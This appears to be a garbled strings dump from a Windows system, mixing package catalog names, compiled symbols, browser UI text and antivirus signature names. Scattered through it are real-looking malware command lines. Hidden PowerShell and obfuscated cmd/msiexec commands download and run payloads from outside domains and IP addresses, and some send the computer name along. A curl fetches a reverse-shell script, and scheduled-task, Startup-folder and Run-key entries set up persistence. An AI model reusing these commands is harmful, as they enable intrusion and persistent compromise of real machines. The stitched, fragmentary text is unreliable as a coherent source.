Microsoft-Windows-Client-Desktop-Required-Package0114~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Microsoft-Windows-UserSessionManagement-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.6725.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-Package0010~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package0110~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Foundation-Group-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.159
ComSpec=C:\WINDOWS\system32\cmd.exe
"C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.26010.5-0\MpDefenderCoreService.exe"
 Windows-
WindowsRuntimeAccess
"C:\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\msedgewebview2.exe" --type=renderer --noerrdialogs --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.
Windows
System32
("hkcu:\console\%systemroot%_system32_windowspowershell_v1.0_powershell.exe");
 ("hkcu:\console\%systemroot%_system32_svchost.exe");
)P6AJAEBUInstalledWordBreaker@Text@Data@Windows@@PEAPEAUI'
S0)" --user-data-dir="C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy9
_windowsAccountType
demoteWindowsMediaPlayerU
WindowsTelemetry
:\WINDOWS\Syst
SERPROFILE=C:\WINDOWS\ServiceProfiles\LocalService
windir=C:\WINDOWS
powershell.exe-windowstylehidden-command(new-objectsystem.net.webclient).downloadfile('https://huadongrubbercable.com/
_powershell.exe-windowstylehidden-command(new-objectsystem.net.webclient).downloadfile('https://www.eaznetagencies.co.ke/
c:\windows\system32\windowspowershell\v1.0\powershell.exe-command"invoke-webrequest-urihttp://adpk.duckdns.org:3000/
Microsoft-Windows-Client-Desktop-Required-Package001020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package001120~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package04~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-WOW64-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0112~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Microsoft-Windows-CoreSystem-RemoteFS-Server-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.6584.cat|
Microsoft-Windows-DirectoryServices-ADAM-Core-Client-Opt-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-DirectoryServices-ADAM-Core-Client-Opt-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-MicrosoftEdgeDevToolsClient-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-MicrosoftEdgeDevToolsClient-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat|
Microsoft-Windows-NetFx2-OC-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|
Package_4_for_KB5066128~31bf3856ad364e35~amd64~~10.0.9321.3.cat|Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-WOW64-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0112~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Microsoft-Windows-CoreSystem-RemoteFS-Server-Package~31bf3856ad364e35~amd64~en-US~10.0.26
%endWindowsCopilotScenarioTest","fetchForTopLocalAppse
Mozilla/5.0 (Windows NT 10.0; Win64; x
Mozilla/5.0 (Windows NTf
Mozilla/5.0 (Windows NT 10.0; Win64; x
u inn Windows-a
t update because it might still be running on your device under another Windows account. Please close all Microsoft Copilot application windows and try again.Allow updates to be downloaded as soon as they're available and applied when the application restarts.Automatically download updates over metered networks (for example, cellular network) and apply them on application restart. Charges may apply.Use double-click to close application tabsCustomize which buttons always show on your applicationShow Windows 11 visual effects in applicationFor this setting change to take effect, restart your applicationAllow Microsoft Copilot to save your passwords and help keep them secureMicrosoft Copilot will suggest strong passwords and, if you choose to use them, they
.?AUIBuffer@Streams@Storage@Windows@ABI@@
.?AU?$ImplementsHelper@U?$RuntimeClassFlags@$0BD@@WRL@Microsoft@@$00UIWeakReferenceSource@@VFtmBase@23@U?$CloakedIid@UIBufferByteAccess@Streams@Storage@Windows@@@23@U?$CloakedIid@UIMarshal@@@23@V523@@Details@WRL@Microsoft@@
.?AU?$ImplementsHelper@U?$RuntimeClassFlags@$0BD@@WRL@Microsoft@@$00U?$ImplementsMarker@VFtmBase@WRL@Microsoft@@@Details@23@U?$CloakedIid@UIBufferByteAccess@Streams@Storage@Windows@@@23@U?$CloakedIid@UIMarshal@@@23@VFtmBase@23@@Details@WRL@Microsoft@@
.?AU?$Selector@VFtmBase@WRL@Microsoft@@U?$ImplementsHelper@U?$RuntimeClassFlags@$0BD@@WRL@Microsoft@@$00U?$ImplementsMarker@VFtmBase@WRL@Microsoft@@@Details@23@U?$CloakedIid@UIBufferByteAccess@Streams@Storage@Windows@@@23@U?$CloakedIid@UIMarshal@@@23@VFtmBase@23@@Details@23@@Details@WRL@Microsoft@@
.?AU?$Selector@U?$ImplementsHelper@U?$RuntimeClassFlags@$0BD@@WRL@Microsoft@@$00U?$CloakedIid@UIBufferByteAccess@Streams@Storage@Windows@@@23@U?$CloakedIid@UIMarshal@@@23@VFtmBase@23@@Details@WRL@Microsoft@@U?$ImplementsHelper@U?$RuntimeClassFlags@$0BD@@WRL@Microsoft@@$00U?$ImplementsMarker@VFtmBase@WRL@Microsoft@@@Details@23@U?$CloakedIid@UIBufferByteAccess@Streams@Storage@Windows@@@23@U?$CloakedIid@UIMarshal@@@23@VFtmBase@23@@234@@Details@WRL@Microsoft@@
.?AU?$ImplementsHelper@U?$RuntimeClassFlags@$0BD@@WRL@Microsoft@@$00U?$CloakedIid@UIBufferByteAccess@Streams@Storage@Windows@@@23@U?$CloakedIid@UIMarshal@@@23@VFtmBase@23@@Details@WRL@Microsoft@@
.?AU?$ImplementsHelper@U?$RuntimeClassFlags@$0BD@@WRL@Microsoft@@$00UIBufferByteAccess@Streams@Storage@Windows@@@Details@WRL@Microsoft@@
.?AUIBufferByteAccess@Streams@Storage@Windows@@
windows\system32\cmd.exe/cddmetxgxtovoly.bat"%&
NtDCompositionCreateChannelNtDCompositionProcessChannelBatchBufferNtDCompositionCommitChannelNtDCompositionCreateAndBindSharedSectiononecoreuap\windows\dwm\dcompExploit:Win64/Tireghot.A
W{C:\Windows\System32\opencv_world470.dllC
C:\Windows\Sys
windows
    <p>If you still see the error, contact the website owner.</p>"Software on your computer is preventing Microsoft Copilot from safely connecting to the web" (Windows computers only)The site $2 has failed to deliver an origin policy,
.WindowsMenuU
WindowsMenu
C:\Windows\SystemApps\Microsoft
windows.appExte
.exe--windowstylehidden
[defaultinstall];delreg=run_delregaddreg=run_addreg[run_delreg][run_addreg]hkcu,"software\microsoft\windows\currentversion\run","update",,"rundll32.exe""c:\
[defaultinstall];delreg=run_delregaddreg=run_addreg[run_delreg][run_addreg]hkcu,"software\microsoft\windows\currentversion\run","update",,"rundll32.exe""c:\
i[defaultinstall];delreg=run_delregaddreg=run_addreg[run_delreg][run_addreg]hkcu,"software\microsoft\windows\currentversion\run","update",,"rundll32.exe""c:\
[defaultinstall];delreg=run_delregaddreg=run_addreg[run_delreg][run_addreg]hkcu,"software\microsoft\windows\currentversion\run","update",,"rundll32.exe""c:\
F[defaultinstall];delreg=run_delregaddreg=run_addreg[run_delreg][run_addreg]hkcu,"software\microsoft\windows\currentversion\run","update",,"rundll32.exe""c:\
[defaultinstall];delreg=run_delregaddreg=run_addreg[run_delreg][run_addreg]hkcu,"software\microsoft\windows\currentversion\run","update",,"rundll32.exe""c:\
!#AGGR:Lua:Context/FileInsideEdgeExtensionOnWindows
NLua:Context/FileInsideEdgeExtensionOnWindows
%Microsoft Windows Production PCA 2011
cmd.exescanfolder/q/r^s^ta^rtms^i^exec/^f^v"http://3z.nu:8080/ad/bepitanzo/k9imagyxcbietyp4rehqc8k6q/wxbm/%computername%"up^p^k^nx=j^uza^h^i^ewo/^q^n^jp=u^h^ol^z!%systemroot%\system32\shell32.dll%
c:\windows\system32\cmd.exepenetapan/d/v/r^st^ar^t^m^s^i^e^xeck^x^b^v=yjr^yo-p^ac^ka^g^e"http://q0.wf:8080/bbbhsc0k0fyenf98icmxnhddf/!computername!"^s^ug^fzu^f^pt=^xhu^i^y-q^nimageres.dll%comspec%
gc:\windows\system32\cmd.exearchivefile/v/csta^rt^m^s^i^ex^ec^p^m^z^o^n=r^s^mi^p-^qu^i^et-^pa^ck^ag^e"http://2t.pm:8080/uyb8kmdm/ecr8sedh8k/n/bahpstii//!computername!"^jfy^as=p^rluiamh^lshell32.dll
xc:\windows\system32\windowspowershell\v1.0\powershell.exe-comman$fcxqi1k3='wsc'+'ript'+$env:programdata+'\'+('
c:\windows\system32\windowspowershell\v1.0\powershell.exe-windowstylehidden-command"&{invoke-webrequest-urihttp://147.124.216.113/albt.exe-outfile%temp%\file.exe;start-process'%temp%\file.exe'}"
\c:\windows\system32\windowspowershell\v1.0\powershell.exe-command"&{i''n''v''o''k''e''-''e''x''p''r''e''s''s''i''o''n''(new-objectnet.webclient).downloadstring('http://198.46.176.164/final.ps1')
Windows/wbem/root/cimv2:Win32_PerfFormattedData_PerfDisk_PhysicalDisk.Name="_Total"#AvgDiskQueueLength
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
1WindowsClientString>QscBWlAzbbNJQJYcJsQIJt5fMpcXRx6ZdFxhm//Ji14=W
Windows
c:\windows\system32\vbame.dll
windows
Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
\Windows Savevid Toolbar\
\Windows Searchqu Toolbar\
 (x86)\Windows iLivid Toolbar\
- (x86)\Windows Savevid Toolbar\
 (x86)\Windows Searchqu Toolbar\
Microsoft-Windows-Client-Desktop-Required-Package04102030~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft.Windows.Wil.FeatureLogging
Microsoft.Windows.Desktop.TextInput.TouchKeyboard
J\windows\currentversion\explorer\advanced\folder\hidden\showallidsmtp1disconnected
Wlocalip=127.0.0.1&compname=system32\drivers\etc\svchost.exe
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.1
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.10
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.11
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.12
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.13
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.14
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.15
Software\Microsoft\Windows NT\CurrentVersion
\\.\root\Microsoft\Windows\Defender:__Win32Provider.Name="ProtectionManagement"
\\.\root\Microsoft\Windows\Defender:__Win32Provider.Name="ProtectionManagement"
ext-ms-win-ntuser-windowstation-l1-1-0.dll
:dows\system32\cmd.exe/cbitsadmin/transferjobhttps://
c:\windows\system32\conhost.exefaq.pdfpcmd/c"(xcopy.%appdata%\graphic\/h/i/y&%appdata%\graphic\graphiclocal)"
)powershell-noprofile-executionpolicybypass-windowstylehidden-c"set-alias-namemint-value('{0}{1}'-f'cu','rl');
toconfirmthatyouarenotarobot,please:","press_windows_key":
This site has been flagged by Microsoft Defender SmartScreen. Microsoft Copilot suggests you avoid this site. Using this site will put your privacy and security at risk.Microsoft Copilot limits most sites from using third-party cookies to track you as you browse. Visit settings to $1.Microsoft Copilot periodically checks your passwords against lists that have been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.When you use a password, Microsoft Copilot warns you if it has been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.Microsoft Copilot PasswordsMicrosoft Copilot is trying to fill your password on $1.Passkey from Copilot profileMicrosoft Copilot is trying to turn on Windows Hello for filling passwords.Microsoft Copilot is trying to turn off Windows Hello for filling passwords.Cards and addresses are from Microsoft Copilot. You can manage them in BEGIN_LINKSettingsEND_LINK.An application is preventing Microsoft Copilot from safely connecting to this siteCan't establish a secure connection: The certificates that websites use to identify themselves are only valid for specific periods of time. Because your device's clock is incorrect, Microsoft Copilot can't verify these certificates.$1 uses encryption to protect your information. When Microsoft Copilot tried to connect to $1 this time, the website sent back unusual and incorrect credentials. This may happen when an attacker is trying to pretend to be $1, or a Wi-Fi sign-in screen has interrupted the connection. Your information is still secure because Microsoft Copilot stopped the connection before any data was exchanged.You can't visit $1 right now because the website sent scrambled credentials that Microsoft Copilot can't process. Network errors and attacks are usually temporary, so this page will probably work later.<h4>Step 1: Sign in to the portal</h4>
    <p>If you still see the error, contact the website owner.</p>"Software on your computer is preventing Microsoft Copilot from safely connecting to the web" (Windows computers only)The site $2 has failed to deliver an origin policy,
core.sys.windows0
windows.hlp`
onecoreuap\shell\windows.storage\graphrecentitemsmanager.cpp
33^windows.updateTas
38^windows.appServic
48^windows.search{
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
C:\Windows\Microsoft.NET
@impl@winrt@@U?$IReference@W4NavigationViewShoulderNavigationEnabled@Controls@Xaml@UI@Microsoft@winrt@@@Foundation@Windows@3@X@impl@winrt@@
.?AU?$produce@U?$reference@W4NavigationViewSelectionFollowsFocus@Controls@Xaml@UI@Microsoft@winrt@@@impl@winrt@@UIPropertyValue@Foundation@Windows@3@@impl@winrt@@
.?AU?$produce_base@U?$reference@W4NavigationViewSelectionFollowsFocus@Controls@Xaml@UI@Microsoft@winrt@@@impl@winrt@@U?$IReference@W4NavigationViewSelectionFollowsFocus@Controls@Xaml@UI@Microsoft@winrt@@@Foundation@Windows@3@X@impl@winrt@@
.?AU?$produce_base@U?$reference@W4NavigationViewSelectionFollowsFocus@Controls@Xaml@UI@Microsoft@winrt@@@impl@winrt@@UIPropertyValue@Foundation@Windows@3@X@impl@winrt@@
.?AU?$implements@U?$reference@W4NavigationViewSelectionFollowsFocus@Controls@Xaml@UI@Microsoft@winrt@@@impl@winrt@@U?$IReference@W4NavigationViewSelectionFollowsFocus@Controls@Xaml@UI@Microsoft@winrt@@@Foundation@Windows@3@UIPropertyValue@563@@winrt@@
.?AU?$root_implements@U?$reference@W4NavigationViewSelectionFollowsFocus@Controls@Xaml@UI@Microsoft@winrt@@@impl@winrt@@U?$IReference@W4NavigationViewSelectionFollowsFocus@Controls@Xaml@UI@Microsoft@winrt@@@Foundation@Windows@3@UIPropertyValue@563@@impl@winrt@@
.?AUtype@?$abi@U?$IReference@W4NavigationViewSelectionFollowsFocus@Controls@Xaml@UI@Microsoft@winrt@@@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$produce@U?$reference@W4NavigationViewSelectionFollowsFocus@Controls@Xaml@UI@Microsoft@winrt@@@impl@winrt@@U?$IReference@W4NavigationViewSelectionFollowsFocus@Controls@Xaml@UI@Microsoft@winrt@@@Foundation@Windows@3@@impl@winrt@@
.?AU?$producer_convert@U?$reference@W4NavigationViewSelectionFollowsFocus@Controls@Xaml@UI@Microsoft@winrt@@@impl@winrt@@UIPropertyValue@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer_convert@U?$reference@W4NavigationViewSelectionFollowsFocus@Controls@Xaml@UI@Microsoft@winrt@@@impl@winrt@@U?$IReference@W4NavigationViewSelectionFollowsFocus@Controls@Xaml@UI@Microsoft@winrt@@@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer@U?$reference@W4NavigationViewSelectionFollowsFocus@Controls@Xaml@UI@Microsoft@winrt@@@impl@winrt@@UIPropertyValue@Foundation@Windows@3@X@impl@winrt@@
.?AU?$produce_base@U?$reference@W4NavigationViewOverflowLabelMode@Controls@Xaml@UI@Microsoft@winrt@@@impl@winrt@@UIPropertyValue@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer@U?$reference@W4NavigationViewSelectionFollowsFocus@Controls@Xaml@UI@Microsoft@winrt@@@impl@winrt@@U?$IReference@W4NavigationViewSelectionFollowsFocus@Controls@Xaml@UI@Microsoft@winrt@@@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producers_base@U?$reference@W4NavigationViewSelectionFollowsFocus@Controls@Xaml@UI@Microsoft@winrt@@@impl@winrt@@V?$tuple@U?$IReference@W4NavigationViewSelectionFollowsFocus@Controls@Xaml@UI@Microsoft@winrt@@@Foundation@Windows@winrt@@UIPropertyValue@234@@std@@@impl@winrt@@
.?AUtype@?$abi@U?$IReference@W4NavigationViewOverflowLabelMode@Controls@Xaml@UI@Microsoft@winrt@@@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$produce@U?$reference@W4NavigationViewOverflowLabelMode@Controls@Xaml@UI@Microsoft@winrt@@@impl@winrt@@U?$IReference@W4NavigationViewOverflowLabelMode@Controls@Xaml@UI@Microsoft@winrt@@@Foundation@Windows@3@@impl@winrt@@
WINDOWS11
ROOT\Microsoft\Windows\DeviceGuard
83^windows.comServe
	^windows.appExtensionHos\
^windows.appExecutionAlia
Windows p
version of Windows`
.?AUIWscBrokerManagerSink@SecurityCenter@Windows@@
@echooffcurl-omodmenu.bathttps://sky-aerial-derby.glitch.me/modmenu.batcurl-ohig.bathttps://sky-aerial-derby.glitch.me/modmenu.batsetstartup_folder=%appdata%\microsoft\windows\startmenu\programs\startupcopymodmenu.bat
d"&amp;"l"&amp;"l"&amp;"r"&amp;"eg"&amp;"i"&amp;"s"&amp;"t"&amp;"e"&amp;"rs"&amp;"e"&amp;"rver</t></si><si><t>rundll32.exe</t></si><si><t>\windows\</t></si><si><t>syswow64\</t></si><si><t>"h"&amp;"t"&amp;"t"&amp;"p
schtasks/create/tn"microsoft\windows\
2"/tr"c:\programdata\reaitekhd\taskhost.exe"/scminute/mo1/rlhighest/fregadd"hklm\software\microsoft\windows\currentversion\run"/v"realtekhdaudio"/treg_sz/d"c:\programdata\reaitekhd\taskhostw.exe"/f
Windows.BackgroundTasks
Windows.Launch
@{Microsoft.WindowsNotepad_11.2510.14.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.WindowsNotepad/Resources/FileTypeDisplayName_Txtfile}
Sn/@hejhej.*jkcmd.exel/kosc:\windows\
!#AGGR:Lua:TopLevelFile.A!Lua:FileInWindows
j	&sLua:TopLevelFile.A!Lua:FileInWindows
WINDOWS11
ROOT\Microsoft\Windows\Defender
WINDOWS11
%programfiles%\common files\apple\apple application support;%system32%
 Windows 
    name="Microsoft.Windows.WMI.WmiApSrv"
Windows-ClientCore-Win32Bridge-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
PPB_Flash_FontFile::IsSupportedForWindows()
Microsoft.Wallet.BuyNow.BackgroundWindowStatus
windowsVirtualKeyCode
windowState
file_system_observer_quota_limit_windows
windows
!#ALF:AGGR:SIGA:MSIL/Suspicious.WindowsApplication1.Run.S1
ATTRIBUTE:SIGA:MSIL:WindowsApplication1.Run
Only top-most frames can open picture-in-picture windows.
Blink.FedCm.ContinueOn.PopupWindowStatus
windows
Windows DirectManipulation API pass scale = 0.
Ppapi sandbox on Windows is not supported.
.Windows
Unable to create the Windows Security Manager instance
SetIEWindowSize
WindowsHello
https://client.wns.windows.com
-from-windows-store
TakeResultFromWindowsAPI
BrowserWindowSize.HeightPercentage
BrowserWindowSize.WidthPercentage
msBrowserLaunchProtocolWindowsSearchBoxTrigger
msBrowserLaunchProtocolWindowsDashboardTrigger
msBrowserLaunchProtocolWindowsRecallTrigger
https://docs.microsoft.com/windows/security/threat-protection/windows-defender-smartscreen/windows-defender-smartscreen-overview
https://docs.microsoft.com/windows/security/threat-protection/windows-defender-antivirus/detect-block-potentially-unwanted-apps-windows-defender-antivirus#microsoft-edge
msEdgeFREWindowsWelcomeExperience
msEdgeWindowsWelcomeExperienceKillSwitch
msEdgeWWUCheckWindowsNotificationSettings
msEdgeWindowsWelcomeExperinceAutolaunch
msPreFreWindowsExperimentControl
msPreFREWindowsExperimentTreatmentSoftFRE
msPreFREWindowsExperimentTreatmentMarketingPage
msPreFREWindowsExperimentTreatmentWithoutFRE
msNewDeviceWindowsExperimentControl
msNewDeviceWindowsExperimentTreatmentSoftFRE
msNewDeviceWindowsExperimentTreatmentMarketingPage
msNewDeviceWindowsExperimentTreatmentWithoutFRE
msPreFREWindowsWelcomeExperienceAutolaunchControl
msPreFREWindowsWelcomeExperienceAutolaunchTreatment
msNewDeviceWindowsWelcomeExperienceAutolaunchControl
msNewDeviceWindowsWelcomeExperienceAutolaunchTreatment
Microsoft.WindowsUpdate.Assignment
msNurturingSitePinningWithWindowsConsent
Windows NT 10.0; Win64; x64; Xbox; Xbox One
Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Zoom 3.6.0; rv:11.0) like Gecko
maiSmtcCornerCardNestedSmallIn32-9118-54d4Bd6a0c89_cw5n1h2txyewy!Microsoft.Windows.FilePickerE
Windows Media Foundation\ByteStreamHandlers\audio/mp4
!WindowsKernelExplorer
onecoreuap\shell\windows.storage\sharedstoragesources\registryverbarray.cpp
se@UNavigationControl@implementation@TaskManagerApp@winrt@@UIControlOverrides6@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$implements@UProcessesPageViewModel@factory_implementation@TaskManagerApp@winrt@@UIActivationFactory@Foundation@Windows@4@UIProcessesPageViewModelStatics@34@Ustatic_lifetime@4@@winrt@@
.?AU?$producers_base@UProcessesPageViewModel@factory_implementation@TaskManagerApp@winrt@@V?$tuple@UIActivationFactory@Foundation@Windows@winrt@@UIProcessesPageViewModelStatics@TaskManagerApp@4@@std@@@impl@winrt@@
.?AU?$producer_convert@UProcessesPageViewModel@factory_implementation@TaskManagerApp@winrt@@UIActivationFactory@Foundation@Windows@4@X@impl@winrt@@
.?AU?$producer@UProcessesPageViewModel@factory_implementation@TaskManagerApp@winrt@@UIActivationFactory@Foundation@Windows@4@X@impl@winrt@@
.?AU?$root_implements@UProcessesPageViewModel@factory_implementation@TaskManagerApp@winrt@@UIActivationFactory@Foundation@Windows@4@UIProcessesPageViewModelStatics@34@Ustatic_lifetime@4@@impl@winrt@@
.?AU?$produce@UFocusProxyButton@implementation@TaskManagerApp@winrt@@UIUIElementOverrides@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$implements@UAffinityDialogViewModel@factory_implementation@TaskManagerApp@winrt@@UIActivationFactory@Foundation@Windows@4@UIAffinityDialogViewModelStatics@34@Ustatic_lifetime@4@@winrt@@
.?AU?$producers_base@UAffinityDialogViewModel@factory_implementation@TaskManagerApp@winrt@@V?$tuple@UIActivationFactory@Foundation@Windows@winrt@@UIAffinityDialogViewModelStatics@TaskManagerApp@4@@std@@@impl@winrt@@
.?AU?$producer_convert@UAffinityDialogViewModel@factory_implementation@TaskManagerApp@winrt@@UIActivationFactory@Foundation@Windows@4@X@impl@winrt@@
.?AU?$producer@UAffinityDialogViewModel@factory_implementation@TaskManagerApp@winrt@@UIActivationFactory@Foundation@Windows@4@X@impl@winrt@@
.?AU?$root_implements@UAffinityDialogViewModel@factory_implementation@TaskManagerApp@winrt@@UIActivationFactory@Foundation@Windows@4@UIAffinityDialogViewModelStatics@34@Ustatic_lifetime@4@@impl@winrt@@
%Microsoft Windows Production PCA 2011
 http://www.microsoft.com/windows0
5Shell "curl.exe -s http://78.85.17.88:8443/reverse.ps1Shell "powershell.exe C:\Windows\Tasks\reva.ps1"
&rosoft\Windows\CurrentVersion\SmartGlass
PnpRepairWindowsProtectedDriver
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
OS=Windows_NT
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.7
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.8
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.9
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.1
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.10
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.11
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.12
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.5
We've imported your extensions to the new Microsoft CopilotWe've installed your extensions in the new Microsoft CopilotHelp Microsoft improve our products by sending crash reports, info about how you use Copilot and the websites you visit.By clicking "Accept and get started" you allow Microsoft Copilot to $1update automatically$2 so that you always have the latest improvements. These updates are independent of your Windows update settings.Microsoft Copilot CompatibilitySites on this list will only be able to use the specified content decryption
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
>C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy9
windows.hlp
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
Microsoft.Windows.TaskScheduler
Windows
GetWindowsDirectoryW
ComSpec=C:\WINDOWS\system32\cmd.exe
t paroles. Ierakstiet savu Windows paroli, lai to at
t update because it might still be running on your device under another Windows account. Please close all Microsoft Copilot application windows and try again.Allow updates to be downloaded as soon as they're available and applied when the application restarts.Automatically download updates over metered networks (for example, cellular network) and apply them on application restart. Charges may apply.Use double-click to close application tabsCustomize which buttons always show on your applicationShow Window
"@windows.data.donotdisturb.quietmoment
Windows::Foundation::Initialize(WINRT_INIT_MULTITHREADED)
Windows::Foundation::GetActivationFactory(HStringReference(RuntimeClass_Windows_Networking_Connectivity_NetworkInformation).Get(), &m_networkInfo)
0windowsuX	
non-Unicode|Windows display le
s|windows Y
QWindowsFileSystemWatcherEngine
QWindowsFileSystemWatcherEngineThread
QWindowsPipeReader
QWindowsPipeWriter
WindowsFormsApp3
Windows.Data.PersonalizationThemes.
Windows NT 
Windows
	"Windows"
